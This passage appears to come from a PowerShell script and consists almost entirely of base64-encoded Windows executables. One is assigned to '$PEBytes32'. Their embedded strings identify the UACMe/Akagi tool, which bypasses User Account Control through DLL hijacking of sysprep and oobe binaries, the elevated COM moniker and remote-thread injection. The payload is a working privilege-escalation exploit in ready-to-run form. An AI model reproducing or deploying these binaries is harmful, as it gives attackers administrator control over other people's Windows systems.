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AAAAABq9AMAAAAAAHj0AwAAAAAAgPQDAAAAAACS9AMAAAAAADT0AwAAAAAAuPMDAAAAAACg9AMAAAAAAK70AwAAAAAA5vMDAAAAAAAAAAAAAAAAAE72AwAAAAAARPYDAAAAAAAW9gMAAAAAAPr1AwAAAAAA5PUDAAAAAADO9QMAAAAAAL71AwAAAAAAMPYDAAAAAAAAAAAAAAAAAJL1AwAAAAAAovUDAAAAAAAAAAAAAAAAAFsBRXhwYW5kRW52aXJvbm1lbnRTdHJpbmdzVwALAURlbGV0ZUZpbGVXADwDSGVhcEZyZWUAANQCR2V0U3lzdGVtRGlyZWN0b3J5VwCrA0xvYWRMaWJyYXJ5VwAAOANIZWFwQWxsb2MApAJHZXRQcm9jQWRkcmVzcwAAqQJHZXRQcm9jZXNzSGVhcAAA+gVXcml0ZVByb2Nlc3NNZW1vcnkAAK4FVmlydHVhbEZyZWUAcAVUZXJtaW5hdGVQcm9jZXNzAAC7BVdhaXRGb3JTaW5nbGVPYmplY3QAYQVTbGVlcAD9A091dHB1dERlYnVnU3RyaW5nVwAAfwBDbG9zZUhhbmRsZQCsBVZpcnR1YWxBbGxvY0V4AABtAkdldE1vZHVsZUhhbmRsZVcAAKUAQ29weUZpbGVXANwAQ3JlYXRlUmVtb3RlVGhyZWFkAADPAUdldENvbW1hbmRMaW5lVwAPAkdldEN1cnJlbnRQcm9jZXNzAFcBRXhpdFByb2Nlc3MAVARSZWFkRmlsZQAA8QVXcml0ZUZpbGUACwVTZXRGaWxlUG9pbnRlcgAAPgJHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZQAA6QJHZXRUZW1wUGF0aEEAAFYCR2V0TGFzdEVycm9yAAC6AENyZWF0ZUZpbGVBAAgBRGVsZXRlRmlsZUEAYgFGaWxlVGltZVRvTG9jYWxGaWxlVGltZQDdBVdpZGVDaGFyVG9NdWx0aUJ5dGUA5wJHZXRUZW1wRmlsZU5hbWVBAABhAUZpbGVUaW1lVG9Eb3NEYXRlVGltZQCrBVZpcnR1YWxBbGxvYwAAxQJHZXRTdGFydHVwSW5mb1cAGQVTZXRMYXN0RXJyb3IAAMIAQ3JlYXRlRmlsZVcA8QNPcGVuUHJvY2VzcwDbAENyZWF0ZVByb2Nlc3NXAABLRVJORUwzMi5kbGwAAIMDd3NwcmludGZXACkCTG9hZEltYWdlVwAAOQFHZXREZXNrdG9wV2luZG93AAB1AlBvc3RRdWl0TWVzc2FnZQBHA1RyYW5zbGF0ZU1lc3NhZ2UAALUARGlzcGF0Y2hNZXNzYWdlVwAAjQJSZWdpc3RlckNsYXNzRXhXAABRA1VucmVnaXN0ZXJDbGFzc1cAAMACU2VuZE1lc3NhZ2VXAABxAENyZWF0ZVdpbmRvd0V4VwBRAk1lc3NhZ2VCb3hXADYBR2V0REMAoQBEZWZXaW5kb3dQcm9jVwAAdQFHZXRNZXNzYWdlVwAJAUZpbmRXaW5kb3dXANcBR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkAABVU0VSMzIuZGxsAAD6AlNldFBpeGVsRm9ybWF0AAAVA1N3YXBCdWZmZXJzABkAQ2hvb3NlUGl4ZWxGb3JtYXQAR0RJMzIuZGxsAGACUmVnQ3JlYXRlS2V5VwCFAlJlZ09wZW5LZXlFeFcAogJSZWdTZXRWYWx1ZUV4VwAAVAJSZWdDbG9zZUtleQBdAlJlZ0NyZWF0ZUtleUV4VwBBRFZBUEkzMi5kbGwAADYBU2hlbGxFeGVjdXRlRXhXAFNIRUxMMzIuZGxsADABSUlERnJvbVN0cmluZwAQAENMU0lERnJvbVN0cmluZwBvbGUzMi5kbGwA3wNSdGxHZXRWZXJzaW9uAB4DUnRsRGVjb21wcmVzc0J1ZmZlcgCGAU50T3BlblByb2Nlc3NUb2tlbgAAsQFOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzALQBTnRRdWVyeUluZm9ybWF0aW9uVG9rZW4A6ANSdGxJbWFnZU50SGVhZGVyAADrAE50Q2xvc2UAcARSdGxOdFN0YXR1c1RvRG9zRXJyb3IAbnRkbGwuZGxsAEkAUGF0aEZpbGVFeGlzdHNXAFNITFdBUEkuZGxsAC0AZ2xDb2xvcjRpABAAZ2xDbGVhcgBRAGdsRW5kALUAZ2xNYXRyaXhNb2RlAABLAGdsRHJhd1BpeGVscwAA9ABnbFJlYWRQaXhlbHMAAFkBd2dsQ3JlYXRlQ29udGV4dAAApABnbExvYWRJZGVudGl0eQAACgBnbEJlZ2luAEEBZ2xWZXJ0ZXgyaQAAZAF3Z2xNYWtlQ3VycmVudAAASQBnbERyYXdCdWZmZXIAAE9QRU5HTDMyLmRsbAAAQ2FiaW5ldC5kbGwAuwRSdGxVbndpbmRFeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8EAAALhEAALjpAwAwEQAA8BEAANDpAwDwEQAACBMAAOTpAwAIEwAA5BMAAPzpAwDkEwAA8RUAABDqAwD0FQAAOBkAACTqAwA4GQAAiRoAAETqAwCMGgAAFBsAAGDqAwAUGwAAhR4AAGzqAwCIHgAABiAAAIjqAwAIIAAAQyIAAKjqAwBEIgAA/SMAAMDqAwAAJAAAUiQAANjqAwBUJAAA2ykAAOzqAwDcKQAAVS4AAADrAwBYLgAAhi4AABDrAwCILgAArS4AABDrAwCwLgAA1y4AABjrAwDYLgAAWS8AACDrAwBcLwAAmy8AACzrAwCcLwAA2y8AACzrAwDcLwAAEjAAADTrAwAUMAAATjAAADTrAwBQMAAAhjAAADTrAwCMMAAAUzEAAEDrAwBUMQAANzIAAFjrAwA4MgAAmzMAAGzrAwCcMwAArTQAAHjrAwCwNAAAATUAABjrAwAENQAApzcAAJDrAwCoNwAAoDoAAMDrAwCgOgAAyjsAABDrAwDMOwAAXz0AANjrAwBgPQAACD8AAPjrAwAIPwAArT8AAAzsAwCwPwAA90AAACTsAwD4QAAAfEIAABDrAwB8QgAAE0MAADTsAwAUQwAAkkMAAEjsAwCUQwAAokQAAFTsAwCkRAAA1kQAABjrAwDYRAAABEUAAGzsAwAERQAA8kYAAHTsAwAQRwAANEcAAJDsAwBARwAAWEcAAJjsAwBgRwAAYUcAAJzsAwBwRwAAcUcAAKDsAwDQRwAAHUgAAKTsAwBQSAAAcEgAAMjsAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACABAAAAAgAACAGAAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAFAAAIAAAAAAAAAAAAAAAAAAAAEAAQAAAGgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAIAAAAAAAAAAAAAAAAAAAAAAAAEACQQAAJAAAACgQAQAvAIAAAAAAAAAAAAAYEMEAH0BAAAAAAAAAAAAALwCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAgAAAAAAAAACAAAAAAA/AAAAAAAAAAAABAABAAAAAAAAAAAAAAAAAAAAHAIAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAA+AEAAAEAMAA0ADAAOQAwADQAYgAwAAAAMgAJAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABVAEcAIABOAG8AcgB0AGgAAAAAAEwAEgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABVAEEAQwBNAGUAIABtAGEAaQBuACAAbQBvAGQAdQBsAGUAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADIALgAwAC4AMAAuADAAAAAsAAYAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEEAawBhAGcAaQAAAGgAIgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAAEMAbwBwAHkAcgBpAGcAaAB0ACAAqQAgACAAMgAwADEANAAgAC0AIAAyADAAMQA2ACAAVQBHACAATgBvAHIAdABoAAAAPAAKAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAEEAawBhAGcAaQAuAGUAeABlAAAALAAGAAEAUAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAABVAEEAQwBNAGUAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAyAC4AMAAuADAALgAwAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAkEsAQAAAAAPD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnIHN0YW5kYWxvbmU9J3llcyc/Pg0KPGFzc2VtYmx5IHhtbG5zPSd1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MScgbWFuaWZlc3RWZXJzaW9uPScxLjAnPg0KICA8dHJ1c3RJbmZvIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOmFzbS52MyI+DQogICAgPHNlY3VyaXR5Pg0KICAgICAgPHJlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgICAgIDxyZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbCBsZXZlbD0nYXNJbnZva2VyJyB1aUFjY2Vzcz0nZmFsc2UnIC8+DQogICAgICA8L3JlcXVlc3RlZFByaXZpbGVnZXM+DQogICAgPC9zZWN1cml0eT4NCiAgPC90cnVzdEluZm8+DQo8L2Fzc2VtYmx5Pg0KAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $PEBytes32 = "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